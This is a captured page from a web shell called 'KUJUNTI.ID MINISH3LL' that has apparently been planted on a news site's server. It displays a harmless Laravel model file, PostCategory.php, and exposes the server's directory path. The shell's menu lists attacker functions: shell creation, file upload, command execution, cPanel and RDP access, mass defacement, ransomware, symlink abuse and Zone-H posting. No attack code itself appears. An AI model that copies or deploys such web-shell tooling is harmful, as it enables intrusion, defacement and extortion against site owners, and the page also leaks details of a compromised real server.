KUJUNTI.ID MINISH3LL
Path : /var/www/html/phkaynews-v2/app/Models/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/phkaynews-v2/app/Models/PostCategory.php


<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
// use Illuminate\Database\Eloquent\SoftDeletes;
use Illuminate\Database\Eloquent\Factories\HasFactory;

class PostCategory extends Model
{
    use HasFactory;
    // use SoftDeletes;
    protected $table = 'post_categories';
    protected $fillable = [
        'post_id', 'category_id'
    ];
    protected $primaryKey = 'id';
    public function post()
    {
        return $this->belongsTo('App\Models\Post');
    }
    public function category()
    {
        return $this->belongsTo('App\Models\Category');
    }
}

© KUJUNTI.ID